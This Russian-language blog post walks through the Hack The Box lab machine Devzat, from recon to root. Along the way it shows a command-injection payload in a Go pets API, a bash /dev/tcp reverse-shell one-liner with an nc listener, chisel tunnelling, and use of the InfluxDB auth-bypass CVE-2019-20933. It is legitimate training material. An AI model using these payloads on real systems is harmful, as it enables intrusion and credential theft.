Найти в Дзене

Прохождение машины Devzat на HTB (Hack The Box)

Всем привет! Сегодня разберём прохождение Medium-машины Devzat на Hack The Box. Из данной статьи вы узнаете, как правильно использовать утилиту gitdumper (о которой мы ранее писали), научитесь пользоваться полезным инструментом chisel и эксплуатировать уязвимость CVE-2019-20933. Разведка Любое исследование начинается с разведки. В качестве основного инструмента для первоначального анализа машины используем nmap. Nmap Запустим сканирование машины и посмотрим открытые порты и сервисы на них. Сканировать будем все TCP порты с параметрами -sCV (для использования стандартных скриптов и обнаружения версий сервисов): nmap -sCV -p- 10.10.11.106 Nmap нашел 3 открытых TCP порта, 22 (SSH), 8000 (SSH) и 80 (HTTP). Судя по версиям OpenSSH и Apache, можно предположить, что перед нами Ubuntu 20.04. На 80 порту происходит перенаправление на http://devzat.htb, добавим полученные данные в /etc/hosts: 10.10.11.118 devzat.htb Поиск доменов Используя полученную информацию о доменах, можно запустить поиск
Оглавление

Прохождение машины Devzat на Hack The Box
Прохождение машины Devzat на Hack The Box

Всем привет! Сегодня разберём прохождение Medium-машины Devzat на Hack The Box. Из данной статьи вы узнаете, как правильно использовать утилиту gitdumper (о которой мы ранее писали), научитесь пользоваться полезным инструментом chisel и эксплуатировать уязвимость CVE-2019-20933.

Разведка

Любое исследование начинается с разведки. В качестве основного инструмента для первоначального анализа машины используем nmap.

Nmap

Запустим сканирование машины и посмотрим открытые порты и сервисы на них. Сканировать будем все TCP порты с параметрами -sCV (для использования стандартных скриптов и обнаружения версий сервисов):

nmap -sCV -p- 10.10.11.106

Nmap нашел 3 открытых TCP порта, 22 (SSH), 8000 (SSH) и 80 (HTTP).

-2

Судя по версиям OpenSSH и Apache, можно предположить, что перед нами Ubuntu 20.04.

На 80 порту происходит перенаправление на http://devzat.htb, добавим полученные данные в /etc/hosts:

10.10.11.118 devzat.htb

Поиск доменов

Используя полученную информацию о доменах, можно запустить поиск поддоменов с помощью gobuster. Будем использовать режим vhost, словарь subdomains-top1million-5000.txt из пакета seclists и опцию -r для перенаправления (без этой опции будет выводить все домены с 302 ошибкой).

gobuster vhost -u http://devzat.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r

-3

Добавим найденный домен pets.devzat.htb в /etc/hosts:

10.10.11.118 devzat.htb pets.devzat.htb

devzat.htb TCP 80

Заходим на сайт, на нём видим описание чата Devzat:

-4

Выполним поиск полезной информации на странице. В тексте можно найти инструкцию по подключению к чату, который развернут на 8000 порту (ранее мы его обнаружили на этапе сетевой разведки) и имя пользователя patrick в секции Email.

Другие ссылки не активны и ведут на главную страницу.

Программное обеспечение

Используя расширение для браузера Wappalyzer узнаем, что сайт использует библиотеку jQuery 3.4.1, а в качестве сервера выступает Apache 2.4.41 на Ubuntu.

-5

Перебор директорий

Для перебора директорий сайта будем использовать feroxbuster.

-6
-7

devzat chat TCP 8000

На этапе разведки был обнаружен порт SSH 8000. Кроме того, на сайте devzat.htb была найдена команда подключения к серверу devzat. Попробуем её выполнить и зайти на сервер devzat:

-8

Выполнив поиск ssh чатов, был обнаружен одноименный чат клиент devzat. Уязвимостей для него обнаружено не было.

Для получения справки можно использовать команду /help, а для получения списка всех команд /command.

-9

Попробовав все команды, решаем подключиться к чату, использовав имя пользователя admin. При подключении пользователем admin получаем ошибку, что данная учетная запись зарезервирована для локальных нужд.

Используя трюк с подменой имени, введем имя admin в верхнем регистре и получим доступ к новой информации.

-10

Из переписки admin и patrick (мы уже встречали имя на сайте) узнаем, что admin настроил influxdb. Снаружи influxdb не доступна, значит запомним это на будущее.

Список команд для пользователя admin такой же, как и для простого пользователя.

Попробуем войти в чат под пользователем patrick. Его имя также зарезервировано, используя трюк с подменой имени, входим в чат, однако ничего нового не получаем – там такое же сообщение, как и для пользователя admin.

-11

pets.devzat.htb

Сайт представляет собой web-клиент для базы данных питомцев, с возможностями просмотра, добавления и удаления записей.

-12

Есть форма добавления нового питомца в базу.

Пользователь может выбрать только имя для питомца и указать вид. Описание изменить нельзя, и оно устанавливается на сервере для каждого вида питомца. Кроме того, после перезагрузки страницы добавленный питомец удаляется.

-13

При нажатии на кнопку удаления питомца сайт говорит, что данная возможность ещё не реализована.

-14

Анализ запросов

При отправке запроса на добавление нового питомца браузер выполняет POST запрос на /api/pet.

-15

Перебор директорий

Для перебора директорий сайта будем использовать feroxbuster cо словарем common.txt из состава пакета seclists.

В результате находим папку .git. Посетив pets.devzat.htb/.git убеждаемся в том что это git репозиторий.

-16

.git

Для получения данных из папки .git можно воспользоваться утилитой git-dumper.

git-dumper сначала проверяет, доступен ли листинг директорий и если это так, то он рекурсивно загружает каталог .git (это можно также сделать с помощью wget). Однако, он также подходит и для тех случаев, когда листинг директорий не доступен. В этом случае утилита git-dumper будет использовать несколько методов, чтобы найти как можно больше файлов.
-17

Репозиторий содержит одну ветку master и 3 коммита, а также несколько файлов исходных кодов. Сервис написан на go.

-18

Выполним анализ исходных кодов. В файле main.go обнаружим интересную функцию loadCharacter, который использует команду exec.Command для выполнения команды cat characteristics/species на сервере.

-19

loadCharacter используется при построении “базы питомцев” на сайте pets.devzat.htb и в функции добавления нового питомца addPet.

-20

Из-за того, что отсутствует валидация вводимых в species данных, то можно выполнить RCE.

Получение доступа

Удаленное выполнение команд (RCE)

Строка исходного кода:

cmd := exec.Command("sh", "-c", "cat characteristics/"+species)

отвечает за удаленное выполнение команды, если в поле species вставить команду.

Если использовать строку species как cat; cat /etc/passwd, то можно получить содержимое файла /etc/passwd. Для того, чтобы увидеть содержимое файла необходимо использовать repeater из состава BurpSuite и выполнять обновление страницы сайта pets.devzat.htb.

-21
-22

Reverse shell

Для получения reverse shell необходимо заменить команду cat /etc/passwd на команду bash reverse shell:

bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"

Поставим прослушивать порт с помощью команды nc:

rlwrap nc -lnvp 1337

Отправим следующий запрос с помощью BurpSuite repeater:

-23

Получим reverse shell за пользователя patrick.

-24

Повышение привилегий

Анализ системы

Домашняя папка patrick содержит исходники devzat и pets сайтов.

-25

Кроме patrick тут есть ещё пользователь catherine у которого находится файл user.txt.

-26

Для упрощения подключения добавим свой публичный ключ SSH на машину.

Чтобы подключаться по ssh с помощью private key необходимо сгенерировать новую пару ключей: ssh-keygen
Затем добавить на удаленную машину публичный ключ .pub в файл /home/user/.ssh/authorized_keys.
Для подключения к удаленной машине использовать команду: ssh -I private_key user@x.x.x.x

LinPeas

Загрузим на машину скрипт LinPEAS для поиска путей повышения привилегий.

В ходе изучения вывода LinPEAS обнаружим, что изнутри машины доступны 3 сервиса: 8443, 5000 (petshop) и 8086.

-27

Порт 5000 это Proxy для pets.devzat.htb.

-28

8086 это порт сервиса InfluxDB HTTP.

8443 – неизвестный порт.

InfluxDB

Проброс портов

Для анализа портов 8086 и 8443 можно применить проброс портов с помощью утилиты chisel.

Chisel - это быстрый туннель TCP / UDP, передаваемый по протоколу HTTP и защищенный через SSH. Включающий как клиент, так и сервер. Написано на языке Go (golang).

Запускаем сервер, клиент chisel и выполняем проброс порта 8086.

-29
-30

Для определения сервиса выполним команду:

-31

Таким образом, обнаруживаем, что версия InfluxDB 1.7.5. Выполним поиск уязвимостей и публичных эксплоитов. Обнаруживаем уязвимость и публичный эксплоит CVE-2019-20933, позволяющую читать содержимое базы данных без авторизации.

-32

Эксплуатация CVE-2019-20933

Уязвимость CVE-2019-20933 существует в InfluxDB до 1.7.6. и позволяет обойти процедуру аутентификации. Проблема возникает в функции аутентификации в services/httpd/handler.go из-за того, что JWT может иметь пустой SharedSecret.

Запускаем обнаруженный эксплоит на машине с сервером chisel (там проброшены порты и порт 8086 виден как локальный). Хост оказывается уязвимым и имя пользователя – admin.

-33

На хосте две базы данных – выбираем devzat. Таблицы в InfluxDB называются measurements. С помощью команды show measurements находим единственную таблицу user:

-34

Получаем содержимое таблицы user с помощью команды select * from “user”:

-35

Обнаруживаем пароль пользователя catherine и пробуем его для получения доступа.

В домашней директории Catherine находим файл с флагом “user.txt”.

-36

Путь до root

devzat dev

Подключаемся к серверу devzat как пользователь сatherine:

-37

Из данной переписки узнаем, что 8443 порт используется для dev образа devzat и Patrick реализовал новую возможность на нём. Также в переписке сказано, что для получения доступа к новой возможности нужен пароль и его можно найти в исходных кодах образа devzat, который лежит в “backups”.

В папке /var/backups можно найти два архива – main и dev:

-38

Распакуем содержимое обоих архивов и сравним папки с помощью команды diff:

-39
-40

Изучая разницу между папками, замечаем, что patrick добавил новую возможность чтения файлов. fileCommand принимает два аргумента – файл и пароль. Пароль вбит в код.

Получение флага root.txt

Подключаемся к devzat dev чату и получаем больше подсказок (но они уже не нужны).

Выводим список команд и видим новую команду /file. Она принимает 2 аргумента – файл и пароль. Пароль получен на предыдущем шаге.

-41

Осталось только подобрать правильный путь до файла /root/root.txt и можно забирать флаг “root.txt”.

-42

Подписывайтесь на наш паблик ВКонтактеTelegramЯндекс.Дзен, канал на YouTube и RuTube чтобы не пропустить новые Прохождения машин на Hack The Box!

#HTB #hACKTHEBOX #DEVZAT #HACKING #HACKER #ПЕНТЕСТ #кибербезопасность #cybersecurity #SECWARE #информационная безопасность